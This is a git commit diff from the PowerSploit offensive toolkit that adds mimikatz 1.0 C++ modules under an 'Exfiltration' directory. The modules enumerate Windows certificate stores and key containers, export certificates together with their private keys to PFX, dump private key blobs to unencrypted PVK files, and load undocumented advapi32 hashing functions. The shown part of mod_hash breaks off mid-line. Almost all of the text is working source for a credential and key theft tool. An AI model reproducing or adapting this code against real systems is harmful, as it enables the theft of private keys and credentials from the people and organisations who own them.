diff options
author | clymb3r <bialek.joseph@gmail.com> | 2013-10-01 09:47:05 -0700 |
---|---|---|
committer | clymb3r <bialek.joseph@gmail.com> | 2013-10-01 09:47:05 -0700 |
commit | 59cd18360764af6e6133ad11ec9cd8295372e587 (patch) | |
tree | 758a4f12cd6d2bddb0006df7d1fcac3736b61b8f /Exfiltration/mimikatz-1.0/modules | |
parent | b17272eb98933c62baa5a21bcd23713f9182ee38 (diff) | |
download | PowerSploit-59cd18360764af6e6133ad11ec9cd8295372e587.tar.gz PowerSploit-59cd18360764af6e6133ad11ec9cd8295372e587.zip |
Adding Invoke-Mimikatz and Invoke-Ninjacopy
Diffstat (limited to 'Exfiltration/mimikatz-1.0/modules')
43 files changed, 4111 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp new file mode 100644 index 0000000..8baffa6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp @@ -0,0 +1,240 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_crypto.h" + +bool mod_crypto::getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore) +{ + map<wstring, DWORD> mesEmplacements; + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE", CERT_SYSTEM_STORE_LOCAL_MACHINE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY", CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE", CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_SERVICE", CERT_SYSTEM_STORE_CURRENT_SERVICE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_USERS", CERT_SYSTEM_STORE_USERS)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_SERVICES", CERT_SYSTEM_STORE_SERVICES)); + + map<wstring, DWORD>::iterator monIterateur = mesEmplacements.find(strSystemStore); + if(monIterateur != mesEmplacements.end()) + { + *systemStore = monIterateur->second; + return true; + } + else return false; +} + +BOOL WINAPI mod_crypto::enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg) +{ + reinterpret_cast<vector<wstring> *>(pvArg)->push_back(reinterpret_cast<const wchar_t *>(pvSystemStore)); + return TRUE; +} + +bool mod_crypto::getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore) +{ + return (CertEnumSystemStore(systemStore, NULL, maSystemStoresvector, enumSysCallback) != 0); +} + +bool mod_crypto::getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName) +{ + bool reussite = false; + wchar_t * monBuffer = NULL; + + DWORD maRecherche[] = {CERT_NAME_FRIENDLY_DISPLAY_TYPE, CERT_NAME_DNS_TYPE, CERT_NAME_EMAIL_TYPE, CERT_NAME_UPN_TYPE, CERT_NAME_URL_TYPE}; + + for(DWORD i = 0; !reussite && (i < (sizeof(maRecherche) / sizeof(DWORD))); i++) + { + DWORD tailleRequise = CertGetNameString(certCTX, maRecherche[i], 0, NULL, NULL, 0); + if(tailleRequise > 1) + { + monBuffer = new wchar_t[tailleRequise]; + reussite = CertGetNameString(certCTX, maRecherche[i], 0, NULL, monBuffer, tailleRequise) > 1; + certName->assign(monBuffer); + delete[] monBuffer; + } + } + return reussite; +} + +bool mod_crypto::getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo) +{ + bool reussite = false; + DWORD taille = 0; + if(CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, NULL, &taille)) + { + BYTE * monBuffer = new BYTE[taille]; + if(reussite = (CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, monBuffer, &taille) != 0)) + { + CRYPT_KEY_PROV_INFO * mesInfos = reinterpret_cast<CRYPT_KEY_PROV_INFO *>(monBuffer); + keyProvInfo->pwszProvName.assign(mesInfos->pwszProvName ? mesInfos->pwszProvName : L"(null)"); + keyProvInfo->pwszContainerName.assign(mesInfos->pwszContainerName ? mesInfos->pwszContainerName : L"(null)"); + keyProvInfo->cProvParam = mesInfos->cProvParam; + keyProvInfo->dwFlags = mesInfos->dwFlags; + keyProvInfo->dwKeySpec = mesInfos->dwKeySpec; + keyProvInfo->dwProvType = mesInfos->dwProvType; + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_crypto::CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password) +{ + bool retour = false; + + HCERTSTORE hTempStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, NULL, CERT_STORE_CREATE_NEW_FLAG, NULL); + PCCERT_CONTEXT pCertContextCopy = NULL; + + if(CertAddCertificateContextToStore(hTempStore, certCTX, CERT_STORE_ADD_NEW, &pCertContextCopy)) + { + CRYPT_DATA_BLOB bDataBlob = {0, NULL}; + if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) + { + bDataBlob.pbData = new BYTE[bDataBlob.cbData]; + if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) + { + HANDLE hFile = CreateFile(pfxFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, bDataBlob.pbData, bDataBlob.cbData, &dwBytesWritten, NULL) && (bDataBlob.cbData == dwBytesWritten)) + { + retour = FlushFileBuffers(hFile) != 0; + } + CloseHandle(hFile); + } + } + delete[] bDataBlob.pbData; + } + CertFreeCertificateContext(pCertContextCopy); + } + CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG); + + return retour; +} + +bool mod_crypto::CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile) +{ + bool retour = false; + + HANDLE hFile = CreateFile(DERFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, certCTX->pbCertEncoded, certCTX->cbCertEncoded, &dwBytesWritten, NULL) && certCTX->cbCertEncoded == dwBytesWritten) + { + retour = FlushFileBuffers(hFile) != 0; + } + CloseHandle(hFile); + } + return retour; +} + +wstring mod_crypto::KeyTypeToString(DWORD keyType) +{ + wostringstream keyTypeStr; + switch (keyType) + { + case AT_KEYEXCHANGE: + keyTypeStr << L"AT_KEYEXCHANGE"; + break; + case AT_SIGNATURE: + keyTypeStr << L"AT_SIGNATURE"; + break; + default: + keyTypeStr << L"? (" << hex << keyType << L")"; + } + return keyTypeStr.str(); +} + + +bool mod_crypto::PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec) +{ + bool retour = false; + FILE_HDR monHeader = {PVK_MAGIC, PVK_FILE_VERSION_0, keySpec, PVK_NO_ENCRYPT, 0, tailleExport}; + + HANDLE hFile = CreateFile(pvkFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, &monHeader, sizeof(monHeader), &dwBytesWritten, NULL) && (sizeof(monHeader) == dwBytesWritten)) + { + if(WriteFile(hFile, monExport, tailleExport, &dwBytesWritten, NULL) && (tailleExport == dwBytesWritten)) + { + retour = FlushFileBuffers(hFile) != 0; + } + } + CloseHandle(hFile); + } + + return retour; +} + +bool mod_crypto::genericDecrypt(BYTE * data, SIZE_T dataSize, const BYTE * key, SIZE_T keySize, ALG_ID algorithme, BYTE * destBuffer, SIZE_T destBufferSize) +{ + bool retour = false; + HCRYPTPROV hCryptProv = NULL; + HCRYPTKEY hKey = NULL; + PBYTE buffer = data; + DWORD dwWorkingBufferLength = dataSize; + + if(destBuffer && destBufferSize >= dataSize) + { + RtlCopyMemory(destBuffer, data, dataSize); + buffer = destBuffer; + } + + if((algorithme == CALG_RC4) && (keySize > 16)) + { + fullRC4(buffer, dataSize, key, keySize); + retour = true; + } + else + { + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + GENERICKEY_BLOB myKeyHead = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, algorithme}, keySize}; + BYTE * myKey = new BYTE[sizeof(GENERICKEY_BLOB) + keySize]; + RtlCopyMemory(myKey, &myKeyHead, sizeof(GENERICKEY_BLOB)); + RtlCopyMemory(myKey + sizeof(GENERICKEY_BLOB), key, keySize); + + if(CryptImportKey(hCryptProv, myKey, sizeof(GENERICKEY_BLOB) + keySize, 0, CRYPT_EXPORTABLE, &hKey)) + { + if(CryptDecrypt(hKey, NULL, TRUE, 0, buffer, &dwWorkingBufferLength) || ((algorithme == CALG_DES) && (GetLastError() == NTE_BAD_DATA))) // évite les erreurs de parités http://support.microsoft.com/kb/331367/ + retour = (dwWorkingBufferLength == dataSize); + CryptDestroyKey(hKey); + } + delete[] myKey; + CryptReleaseContext(hCryptProv, 0); + } + } + return retour; +} + +void mod_crypto::fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen) // pour les clés >= 128 bits (16 octets) +{ + ULONG i, j, k = 0, kpos = 0; + BYTE S[256], *pos = data; + + for (i = 0; i < 256; i++) + S[i] = static_cast<BYTE>(i); + + for (i = 0, j = 0; i < 256; i++) + { + j = (j + S[i] + key[kpos]) & 0xff; + kpos++; + if (kpos >= keylen) + kpos = 0; + S_SWAP(i, j); + } + + for (i = 0, j = 0; k < data_len; k++) + { + i = (i + 1) & 0xff; + j = (j + S[i]) & 0xff; + S_SWAP(i, j); + *pos++ ^= S[(S[i] + S[j]) & 0xff]; + } +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.h b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h new file mode 100644 index 0000000..582ed36 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h @@ -0,0 +1,60 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <wincrypt.h> +#include <sstream> +#include <map> + +#define PVK_FILE_VERSION_0 0 +#define PVK_MAGIC 0xb0b5f11e // bob's file +#define PVK_NO_ENCRYPT 0 +#define PVK_RC4_PASSWORD_ENCRYPT 1 +#define PVK_RC2_CBC_PASSWORD_ENCRYPT 2 + +class mod_crypto +{ +public: + typedef struct _KIWI_KEY_PROV_INFO { + std::wstring pwszContainerName; + std::wstring pwszProvName; + DWORD dwProvType; + DWORD dwFlags; + DWORD cProvParam; + DWORD dwKeySpec; + } KIWI_KEY_PROV_INFO, *PKIWI_KEY_PROV_INFO; + +private: + typedef struct _GENERICKEY_BLOB { + BLOBHEADER BlobHeader; + DWORD dwKeyLen; + } GENERICKEY_BLOB, *PGENERICKEY_BLOB; + + typedef struct _FILE_HDR { + DWORD dwMagic; + DWORD dwVersion; + DWORD dwKeySpec; + DWORD dwEncryptType; + DWORD cbEncryptData; + DWORD cbPvk; + } FILE_HDR, *PFILE_HDR; + + static BOOL WINAPI enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg); +public: + static bool getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore); + + static bool getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore = CERT_SYSTEM_STORE_CURRENT_USER); + static bool getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName); + static bool getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo); + + static bool PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec = AT_KEYEXCHANGE); + static bool CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password); + static bool CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile); + static wstring KeyTypeToString(DWORD keyType); + + static bool genericDecrypt(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen, ALG_ID algorithme, BYTE * destBuffer = NULL, SIZE_T destBufferSize = 0); + static void fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen); // keysize >= 128 bits (16 bytes) +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp new file mode 100644 index 0000000..f886f09 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp @@ -0,0 +1,138 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_cryptoapi.h" +HMODULE mod_cryptoapi::hRsaEng = NULL; + +bool mod_cryptoapi::loadRsaEnh() +{ + if(!hRsaEng) + hRsaEng = LoadLibrary(L"rsaenh"); + return (hRsaEng != NULL); +} + +bool mod_cryptoapi::unloadRsaEnh() +{ + if(hRsaEng) + FreeLibrary(hRsaEng); + return true; +} + +bool mod_cryptoapi::getProviderString(wstring ProviderName, wstring * Provider) +{ + map<wstring, wstring> mesProviders; + mesProviders.insert(make_pair(L"MS_DEF_PROV", MS_DEF_PROV)); + mesProviders.insert(make_pair(L"MS_ENHANCED_PROV", MS_ENHANCED_PROV)); + mesProviders.insert(make_pair(L"MS_STRONG_PROV", MS_STRONG_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_RSA_SIG_PROV", MS_DEF_RSA_SIG_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_RSA_SCHANNEL_PROV", MS_DEF_RSA_SCHANNEL_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DSS_PROV", MS_DEF_DSS_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DSS_DH_PROV", MS_DEF_DSS_DH_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_DSS_DH_PROV", MS_ENH_DSS_DH_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DH_SCHANNEL_PROV", MS_DEF_DH_SCHANNEL_PROV)); + mesProviders.insert(make_pair(L"MS_SCARD_PROV", MS_SCARD_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV", MS_ENH_RSA_AES_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV_XP", MS_ENH_RSA_AES_PROV_XP)); + + map<wstring, wstring>::iterator monIterateur = mesProviders.find(ProviderName); + *Provider = (monIterateur != mesProviders.end()) ? monIterateur->second : ProviderName; + return true; +} + +bool mod_cryptoapi::getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType) +{ + map<wstring, DWORD> mesTypes; + mesTypes.insert(make_pair(L"PROV_RSA_FULL", PROV_RSA_FULL)); + mesTypes.insert(make_pair(L"PROV_RSA_SIG", PROV_RSA_SIG)); + mesTypes.insert(make_pair(L"PROV_DSS", PROV_DSS)); + mesTypes.insert(make_pair(L"PROV_FORTEZZA", PROV_FORTEZZA)); + mesTypes.insert(make_pair(L"PROV_MS_EXCHANGE", PROV_MS_EXCHANGE)); + mesTypes.insert(make_pair(L"PROV_SSL", PROV_SSL)); + mesTypes.insert(make_pair(L"PROV_RSA_SCHANNEL", PROV_RSA_SCHANNEL)); + mesTypes.insert(make_pair(L"PROV_DSS_DH", PROV_DSS_DH)); + mesTypes.insert(make_pair(L"PROV_EC_ECDSA_SIG", PROV_EC_ECDSA_SIG)); + mesTypes.insert(make_pair(L"PROV_EC_ECNRA_SIG", PROV_EC_ECNRA_SIG)); + mesTypes.insert(make_pair(L"PROV_EC_ECDSA_FULL",PROV_EC_ECDSA_FULL)); + mesTypes.insert(make_pair(L"PROV_EC_ECNRA_FULL",PROV_EC_ECNRA_FULL)); + mesTypes.insert(make_pair(L"PROV_DH_SCHANNEL", PROV_DH_SCHANNEL)); + mesTypes.insert(make_pair(L"PROV_SPYRUS_LYNKS", PROV_SPYRUS_LYNKS)); + mesTypes.insert(make_pair(L"PROV_RNG", PROV_RNG)); + mesTypes.insert(make_pair(L"PROV_INTEL_SEC", PROV_INTEL_SEC)); + mesTypes.insert(make_pair(L"PROV_REPLACE_OWF", PROV_REPLACE_OWF)); + mesTypes.insert(make_pair(L"PROV_RSA_AES", PROV_RSA_AES)); + + map<wstring, DWORD>::iterator monIterateur = mesTypes.find(ProviderTypeName); + if(monIterateur != mesTypes.end()) + { + *ProviderType = monIterateur->second; + return true; + } + else return false; +} + +bool mod_cryptoapi::getVectorProviders(vector<wstring> * monVectorProviders) +{ + DWORD index = 0; + DWORD provType; + DWORD tailleRequise; + + while(CryptEnumProviders(index, NULL, 0, &provType, NULL, &tailleRequise)) + { + wchar_t * monProvider = new wchar_t[tailleRequise]; + if(CryptEnumProviders(index, NULL, 0, &provType, monProvider, &tailleRequise)) + { + monVectorProviders->push_back(monProvider); + } + delete[] monProvider; + index++; + } + return (GetLastError() == ERROR_NO_MORE_ITEMS); +} + +bool mod_cryptoapi::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine, wstring provider, DWORD providerType) +{ + bool reussite = false; + + HCRYPTPROV hCryptProv = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, provider.c_str(), providerType, CRYPT_VERIFYCONTEXT | (isMachine ? CRYPT_MACHINE_KEYSET : NULL))) + { + DWORD tailleRequise = 0; + char * containerName = NULL; + DWORD CRYPT_first_next = CRYPT_FIRST; + bool success = false; + + success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, NULL, &tailleRequise, CRYPT_first_next) != 0); + while(success) + { + containerName = new char[tailleRequise]; + if(success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, reinterpret_cast<BYTE *>(containerName), &tailleRequise, CRYPT_first_next) != 0)) + { + wstringstream resultat; + resultat << containerName; + monVectorContainers->push_back(resultat.str()); + } + delete[] containerName; + CRYPT_first_next = CRYPT_NEXT; + } + reussite = (GetLastError() == ERROR_NO_MORE_ITEMS); + CryptReleaseContext(hCryptProv, 0); + } + + return reussite; +} + +bool mod_cryptoapi::getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType) +{ + bool reussite = false; + + if(CryptExportKey(maCle, NULL, dwBlobType, NULL, NULL, tailleExport)) + { + *monExport = new BYTE[*tailleExport]; + if(!(reussite = (CryptExportKey(maCle, NULL, dwBlobType, NULL, *monExport, tailleExport) != 0))) + delete[] monExport; + + } + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h new file mode 100644 index 0000000..8c70b48 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h @@ -0,0 +1,26 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <wincrypt.h> +#include <sstream> +#include <map> + +class mod_cryptoapi /* Ref : http://msdn.microsoft.com/en-us/library/aa380255.aspx */ +{ +private: + static HMODULE hRsaEng; +public: + static bool getProviderString(wstring ProviderName, wstring * Provider); + static bool getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType); + + static bool getVectorProviders(vector<wstring> * monVectorProviders); + static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false, wstring provider = MS_ENHANCED_PROV, DWORD providerType = PROV_RSA_FULL); + static bool getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType = PRIVATEKEYBLOB); + + static bool loadRsaEnh(); + static bool unloadRsaEnh(); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp new file mode 100644 index 0000000..690f390 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp @@ -0,0 +1,143 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_cryptong.h" + +HMODULE hNcrypt = LoadLibrary(L"ncrypt"); + +PNCRYPT_OPEN_STORAGE_PROVIDER K_NCryptOpenStorageProvider = reinterpret_cast<PNCRYPT_OPEN_STORAGE_PROVIDER>(GetProcAddress(hNcrypt, "NCryptOpenStorageProvider")); +PNCRYPT_ENUM_KEYS K_NCryptEnumKeys = reinterpret_cast<PNCRYPT_ENUM_KEYS>(GetProcAddress(hNcrypt, "NCryptEnumKeys")); +PNCRYPT_OPEN_KEY K_NCryptOpenKey = reinterpret_cast<PNCRYPT_OPEN_KEY>(GetProcAddress(hNcrypt, "NCryptOpenKey")); +PNCRYPT_EXPORT_KEY K_NCryptExportKey = reinterpret_cast<PNCRYPT_EXPORT_KEY>(GetProcAddress(hNcrypt, "NCryptExportKey")); +PNCRYPT_GET_PROPERTY K_NCryptGetProperty = reinterpret_cast<PNCRYPT_GET_PROPERTY>(GetProcAddress(hNcrypt, "NCryptGetProperty")); + +PNCRYPT_FREE_BUFFER K_NCryptFreeBuffer = reinterpret_cast<PNCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "NCryptFreeBuffer")); +PNCRYPT_FREE_OBJECT K_NCryptFreeObject = reinterpret_cast<PNCRYPT_FREE_OBJECT>(GetProcAddress(hNcrypt, "NCryptFreeObject")); + +PBCRYPT_ENUM_REGISTERED_PROVIDERS K_BCryptEnumRegisteredProviders = reinterpret_cast<PBCRYPT_ENUM_REGISTERED_PROVIDERS>(GetProcAddress(hNcrypt, "BCryptEnumRegisteredProviders")); +PBCRYPT_FREE_BUFFER K_BCryptFreeBuffer = reinterpret_cast<PBCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "BCryptFreeBuffer")); + +bool mod_cryptong::isNcrypt = ( + hNcrypt && + K_NCryptOpenStorageProvider && + K_NCryptEnumKeys && + K_NCryptOpenKey && + K_NCryptExportKey && + K_NCryptGetProperty && + K_NCryptFreeBuffer && + K_NCryptFreeObject && + K_BCryptEnumRegisteredProviders && + K_BCryptFreeBuffer +); + +bool mod_cryptong::justInitCNG(LPCWSTR pszProviderName) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + + if(K_NCryptOpenStorageProvider(&hProvider, pszProviderName, 0) == ERROR_SUCCESS) + reussite = (K_NCryptFreeObject(hProvider) == 0); + + return reussite; +} + + +bool mod_cryptong::getVectorProviders(vector<wstring> * monVectorProviders) +{ + bool reussite = false; + + DWORD cbBuffer; + PCRYPT_PROVIDERS pBuffer = NULL; + + if(reussite = (K_BCryptEnumRegisteredProviders(&cbBuffer, &pBuffer) == 0)) + { + for(DWORD i = 0; i < pBuffer->cProviders; i++) + monVectorProviders->push_back(pBuffer->rgpszProviders[i]); + K_BCryptFreeBuffer(pBuffer); + } + + return reussite; +} + +bool mod_cryptong::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + NCryptKeyName * pKeyName; + PVOID pEnumState = NULL; + + SECURITY_STATUS retour; + if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) + { + while((retour = K_NCryptEnumKeys(hProvider, NULL, &pKeyName, &pEnumState, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL))) == ERROR_SUCCESS) + { + monVectorContainers->push_back(pKeyName->pszName); + K_NCryptFreeBuffer(pKeyName); + } + reussite = (retour == NTE_NO_MORE_ITEMS); + + if(pEnumState) + K_NCryptFreeBuffer(pEnumState); + K_NCryptFreeObject(hProvider); + } + + return reussite; +} + +bool mod_cryptong::getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + + if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) + { + reussite = K_NCryptOpenKey(hProvider, keyHandle, keyName.c_str(), 0, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL)) == ERROR_SUCCESS; + K_NCryptFreeObject(hProvider); + } + + return reussite; +} + + + +bool mod_cryptong::getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize) +{ + DWORD tailleEcrite = 0; + return ((K_NCryptGetProperty(*provOrCle, NCRYPT_LENGTH_PROPERTY, reinterpret_cast<BYTE *>(keySize), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD)); +} + + +bool mod_cryptong::isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable) +{ + bool reussite = false; + DWORD tailleEcrite = 0, exportability = 0; + + if(reussite = ((K_NCryptGetProperty(*provOrCle, NCRYPT_EXPORT_POLICY_PROPERTY, reinterpret_cast<BYTE *>(&exportability), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD))) + { + *isExportable =(exportability & NCRYPT_ALLOW_EXPORT_FLAG) != 0; + } + return reussite; +} + +bool mod_cryptong::getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType) +{ + SECURITY_STATUS monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, NULL, 0, tailleExport, 0); + if(monRetour == ERROR_SUCCESS) + { + *monExport = new BYTE[*tailleExport]; + monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, *monExport, *tailleExport, tailleExport, 0); + + if(monRetour != ERROR_SUCCESS) + delete[] monExport; + } + SetLastError(monRetour); + return (monRetour == ERROR_SUCCESS); +} + + +bool mod_cryptong::NCryptFreeObject(NCRYPT_HANDLE hObject) +{ + return (K_NCryptFreeObject(hObject) == 0); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h new file mode 100644 index 0000000..3eec5b6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h @@ -0,0 +1,24 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <bcrypt.h> +#include <sstream> + +class mod_cryptong /* Ref : http://msdn.microsoft.com/en-us/library/aa376210.aspx */ +{ +public: + static bool getVectorProviders(vector<wstring> * monVectorProviders); + static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false); + static bool getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine = false); + static bool getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize); + static bool isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable); + static bool getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType = LEGACY_RSAPRIVATE_BLOB); + static bool NCryptFreeObject(NCRYPT_HANDLE hObject); + + static bool isNcrypt; + static bool justInitCNG(LPCWSTR pszProviderName = NULL); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp new file mode 100644 index 0000000..fe32c49 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp @@ -0,0 +1,150 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_hash.h" + +PSYSTEM_FUNCTION_006 mod_hash::SystemFunction006 = reinterpret_cast<PSYSTEM_FUNCTION_006>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction006")); +PSYSTEM_FUNCTION_007 mod_hash::SystemFunction007 = reinterpret_cast<PSYSTEM_FUNCTION_007>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction007")); +PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING mod_hash::RtlUpcaseUnicodeStringToOemString = 